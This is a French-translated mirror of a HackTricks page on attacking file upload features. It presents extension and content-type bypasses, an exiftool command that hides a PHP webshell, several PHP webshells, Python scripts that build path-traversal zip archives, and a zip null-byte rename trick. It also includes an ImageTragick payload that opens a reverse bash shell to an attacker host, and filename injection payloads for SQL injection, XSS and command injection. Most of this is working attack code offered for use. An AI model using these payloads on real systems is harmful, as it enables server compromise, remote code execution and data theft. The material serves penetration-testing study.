Mirrors/hacktricks

Fork 0

mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00

Translator 8a1036bca3 Translated ['pentesting-web/file-upload.md'] to fr

2023-10-11 21:31:05 +00:00

23 KiB

Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
Découvrez La famille PEASS, notre collection exclusive de NFT
Obtenez le swag officiel PEASS & HackTricks
Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
Partagez vos astuces de piratage en soumettant des PR au dépôt hacktricks et au dépôt hacktricks-cloud.

Méthodologie générale de téléchargement de fichiers

Essayez de télécharger un fichier avec une double extension ex: _file.png.php_ ou _file.png.php5_.

Extensions PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtml, .pgif, .shtml, .htaccess, .phar, .inc
Extensions ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .asp, .cer, .shtml

Essayez de mettre en majuscule une ou plusieurs lettres de l'extension. Par exemple: .pHp, .pHP5, .PhAr ...
Essayez de télécharger une double (ou plus) extension utile pour contourner les vérifications mal configurées qui testent si une extension spécifique est simplement présente:
file.png.php
file.png.txt.php
Essayez de télécharger une double extension inversée utile pour exploiter les erreurs de configuration d'Apache où tout ce qui a une extension _.php_, mais **n'ayant pas nécessairement une extension .php** exécutera du code:

ex: file.php.png

Double extension avec un caractère nul:
ex: file.php%00.png
Ajoutez quelques caractères spéciaux à la fin de l'extension_: %00, %20, plusieurs points...._
file.php%00
file.php%20
_file.php...... --> Sous Windows, lorsque qu'un fichier est créé avec des points à la fin, ils seront supprimés vous pouvez donc contourner les filtres qui vérifient l'extension .php
file.php/
_file.php._
Contournez les vérifications du type de contenu en définissant la valeur de l'en-tête Content-Type sur: image/png, text/plain, application/octet-stream_
Contournez la vérification du numéro magique en ajoutant au début du fichier les octets d'une vraie image pour tromper la commande _file_. Ou introduisez le shell dans les métadonnées: exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
Il est également possible que les octets magiques soient simplement vérifiés dans le fichier et que vous puissiez les définir n'importe où dans le fichier.
Utilisation du flux de données alternatif NTFS (ADS) dans Windows. Dans ce cas, un caractère deux-points ":" sera inséré après une extension interdite et avant une extension autorisée. En conséquence, un fichier vide avec l'extension interdite sera créé sur le serveur par exemple, "file.asax:.jpg". Ce fichier peut être modifié ultérieurement en utilisant d'autres techniques telles que l'utilisation de son nom court. Le motif "::$data" peut également être utilisé pour créer des fichiers non vides. Par conséquent, l'ajout d'un caractère point après ce motif peut également être utile pour contourner d'autres restrictions par exemple, "file.asp::$data."
Téléchargez la porte dérobée avec une extension autorisée _png_ et priez pour une mauvaise configuration qui exécute la porte dérobée
Trouvez une vulnérabilité pour renommer le fichier déjà téléchargé pour changer l'extension.
Trouvez une vulnérabilité d'inclusion de fichier local pour exécuter la porte dérobée.
Divulgation possible d'informations:
Téléchargez plusieurs fois et en **même temps** le même fichier avec le même nom
Téléchargez un fichier avec le nom d'un fichier ou d'un dossier qui existe déjà
Téléchargez un fichier avec “.”, “..”, ou “…” comme nom. Par exemple, dans Apache sous Windows, si l'application enregistre les fichiers téléchargés dans le répertoire "/www/uploads/", le fichier nommé "." créera un fichier appelé "uploads" dans le répertoire "/www/".
Téléchargez un fichier qui ne peut pas être facilement supprimé, tel que “…:.jpg” dans NTFS. Windows
Téléchargez un fichier dans Windows avec des caractères invalides tels que |<>*?” dans son nom. Windows
Téléchargez un fichier dans Windows en utilisant des noms réservés **interdits** tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 et LPT9.

Essayez également de télécharger un exécutable .exe ou un .html moins suspect qui exécutera du code lorsqu'il sera ouvert accidentellement par la victime.

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files" %}

Si vous essayez de télécharger des fichiers sur un serveur PHP, jetez un coup d'œil à l'astuce du fichier .htaccess pour exécuter du code. Si vous essayez de télécharger des fichiers sur un serveur ASP, jetez un coup d'œil à l'astuce du fichier .config pour exécuter du code. Les fichiers .phar sont comme les fichiers .jar pour Java, mais pour PHP, et peuvent être utilisés comme un fichier PHP (en l'exécutant avec PHP ou en l'incluant dans un script...).

L'extension .inc est parfois utilisée pour les fichiers PHP qui sont uniquement utilisés pour importer des fichiers, donc, à un moment donné, quelqu'un aurait pu autoriser cette extension à être exécutée.

Vérifiez de nombreuses vulnérabilités possibles de téléchargement de fichiers avec le plugin BurpSuit https://github.com/modzero/mod0BurpUploadScanner ou utilisez une application console qui trouve quels fichiers peuvent être téléchargés et essaie différentes astuces pour exécuter du code : https://github.com/almandin/fuxploider

Astuce de téléchargement de fichier/SSRF avec wget

Dans certaines occasions, vous pouvez constater qu'un serveur utilise wget pour télécharger des fichiers et vous pouvez indiquer l'URL. Dans ces cas, le code peut vérifier que l'extension des fichiers téléchargés se trouve dans une liste blanche pour s'assurer que seuls les fichiers autorisés seront téléchargés. Cependant, cette vérification peut être contournée. La longueur maximale d'un nom de fichier sous Linux est de 255, cependant, wget tronque les noms de fichiers à 236 caractères. Vous pouvez télécharger un fichier appelé "A"*232+".php"+".gif", ce nom de fichier contournera la vérification (comme dans cet exemple ".gif" est une extension valide), mais wget renommera le fichier en "A"*232+".php".

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080

#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Notez que une autre option à laquelle vous pourriez penser pour contourner cette vérification est de faire en sorte que le serveur HTTP redirige vers un autre fichier, de sorte que l'URL initiale contourne la vérification, puis wget téléchargera le fichier redirigé avec le nouveau nom. Cela ne fonctionnera pas à moins que wget ne soit utilisé avec le paramètre --trust-server-names car wget téléchargera la page redirigée avec le nom du fichier indiqué dans l'URL d'origine.

De l'envoi de fichiers à d'autres vulnérabilités

Définissez le nom du fichier sur ../../../tmp/lol.png et essayez d'obtenir une traversée de chemin
Définissez le nom du fichier sur sleep(10)-- -.jpg et vous pourriez réussir une injection SQL
Définissez le nom du fichier sur <svg onload=alert(document.comain)> pour obtenir une XSS
Définissez le nom du fichier sur ; sleep 10; pour tester une injection de commande plus de [trucs d'injection de commande ici](command-injection.md)
XSS dans l'envoi de fichiers d'image (svg)
Envoi de fichiers JS + XSS = exploitation des Service Workers
XXE dans l'envoi de fichiers svg
Redirection ouverte via l'envoi de fichiers svg
Célèbre vulnérabilité ImageTrick
Si vous pouvez indiquer au serveur Web de récupérer une image à partir d'une URL, vous pouvez essayer d'exploiter une SSRF. Si cette image doit être enregistrée sur un site public, vous pouvez également indiquer une URL provenant de https://iplogger.org/invisible/ et voler des informations sur chaque visiteur.

Voici une liste des 10 principales choses que vous pouvez réaliser en téléchargeant à partir de [ce lien](https://twitter.com/SalahHasoneh1/status/1281274120395685889) :

ASP / ASPX / PHP5 / PHP / PHP3 : Webshell / RCE
SVG : XSS stockée / SSRF / XXE
GIF : XSS stockée / SSRF
CSV : Injection CSV
XML : XXE
AVI : LFI / SSRF
HTML / JS : Injection HTML / XSS / Redirection ouverte
PNG / JPEG : Attaque par inondation de pixels DoS
ZIP : RCE via LFI / DoS
PDF / PPTX : SSRF / XXE aveugle

Envoi automatique de fichiers ZIP décompressés

Si vous pouvez télécharger un fichier ZIP qui va être décompressé sur le serveur, vous pouvez faire 2 choses :

Lien symbolique

Téléchargez un lien contenant des liens symboliques vers d'autres fichiers, puis, en accédant aux fichiers décompressés, vous accéderez aux fichiers liés :

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt

Décompression dans différents dossiers

Les fichiers décompressés seront créés dans des dossiers inattendus.

On pourrait facilement supposer que cette configuration protège contre l'exécution de commandes au niveau du système d'exploitation via des téléchargements de fichiers malveillants, mais malheureusement ce n'est pas vrai. Étant donné que le format d'archive ZIP prend en charge la compression hiérarchique et que nous pouvons également faire référence à des répertoires de niveaux supérieurs, nous pouvons échapper au répertoire de téléchargement sécurisé en exploitant la fonction de décompression de l'application cible.

Une exploitation automatisée pour créer ce type de fichiers peut être trouvée ici : https://github.com/ptoomey3/evilarc

python evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

import zipfile

def create_malicious_zip(file_path, payload):
    with zipfile.ZipFile(file_path, 'w') as zip_file:
        zip_file.writestr('../payload.php', payload)

file_path = 'malicious.zip'
payload = '<?php system($_GET["cmd"]); ?>'

create_malicious_zip(file_path, payload)

This Python code creates a malicious zip file that contains a PHP payload. The payload is a PHP script that executes a system command specified in the cmd parameter of a GET request. The zip file is created using the zipfile module, and the writestr method is used to add the payload to the zip file with a file path of ../payload.php. The resulting zip file is saved as malicious.zip.

#!/usr/bin/python
import zipfile
from cStringIO import StringIO

def create_zip():
f = StringIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Pour réaliser l'exécution de commandes à distance, j'ai suivi les étapes suivantes :

Créer un shell PHP :

<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>

Utilisez la technique de "file spraying" et créez un fichier zip compressé :

root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php  xxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php           xxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php        xxAxxAxxAxxAxxAcmd.php  xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#

3.Utilisez un éditeur hexadécimal ou vi et changez "xxA" en "../", j'ai utilisé vi:

:set modifiable
:%s/xxA/..\//g
:x!

Seule une étape reste à accomplir : téléchargez le fichier ZIP et laissez l'application le décompresser ! Si cela réussit et que le serveur web dispose des privilèges suffisants pour écrire dans les répertoires, un simple shell d'exécution de commandes OS sera disponible sur le système :

Référence : https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

Décompression avec un nom différent

Parfois, une application bloquera le chargement d'un fichier en vérifiant son extension à l'intérieur du fichier zip. Si cette vérification est superficielle, c'est-à-dire en vérifiant le nom du fichier à l'intérieur de l'en-tête du champ local, elle peut être contournée en faisant croire à l'application que le fichier a une telle extension, alors qu'il en aura une autre une fois décompressé.

Nous pouvons réutiliser le script précédent pour créer un fichier zip.

import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('shell.php .pdf', '<?php echo system($_REQUEST["cmd"]); ?>')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Notez que le nom contient un espace à l'intérieur. Maintenant, vous pouvez modifier le fichier zip généré avec un éditeur hexadécimal et changer ce caractère dans le champ nom situé à l'intérieur de l'en-tête du répertoire central en un octet nul 00:

# before changing the name of the file inside the Central Directory header
00000080: 0000 0073 6865 6c6c 2e70 6870 202e 7064  ...shell.php .pd
# after changing the name of the file inside the Central Directory header
00000080: 0000 0073 6865 6c6c 2e70 6870 002e 7064  ...shell.php..pd

Lorsque l'application vérifiera le nom du fichier à l'intérieur du zip, le nom utilisé pour cette vérification sera le nom de l'en-tête de fichier local, mais pas si le zip est chiffré (voir la spécification pkzip). Le nom utilisé pour stocker le fichier sera le nom de l'en-tête du répertoire central lorsque 7z ou unzip constateront une différence entre les deux noms. Grâce à l'octet nul, le nom sera shell.php.

Lorsqu'il est décompressé :

7z e poc.zip
ls
shell.php

Références:

https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html

https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT

ImageTragic

Téléchargez ce contenu avec une extension d'image pour exploiter la vulnérabilité (ImageMagick, 7.0.1-1).

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Intégration d'un shell PHP dans un fichier PGN

La raison principale de placer un shell web dans le chunk IDAT est qu'il a la capacité de contourner les opérations de redimensionnement et de rééchantillonnage - PHP-GD contient deux fonctions pour cela imagecopyresized et imagecopyresampled.

Lisez cet article: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Fichiers polyglottes

Les polyglottes, dans un contexte de sécurité, sont des fichiers qui sont une forme valide de plusieurs types de fichiers différents. Par exemple, un GIFAR est à la fois un fichier GIF et un fichier RAR. Il existe également des fichiers qui peuvent être à la fois GIF et JS, à la fois PPT et JS, etc.

Les fichiers polyglottes sont souvent utilisés pour contourner les protections basées sur les types de fichiers. De nombreuses applications qui permettent aux utilisateurs de télécharger des fichiers n'autorisent que certains types de fichiers, tels que JPEG, GIF, DOC, afin d'empêcher les utilisateurs de télécharger des fichiers potentiellement dangereux tels que des fichiers JS, des fichiers PHP ou des fichiers Phar.

Cela permet de télécharger un fichier qui est conforme au format de plusieurs formats différents. Cela vous permet de télécharger un fichier PHAR (PHp ARchive) qui ressemble également à un JPEG, mais vous aurez probablement toujours besoin d'une extension valide et si la fonction de téléchargement ne le permet pas, cela ne vous aidera pas.

Plus d'informations sur: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a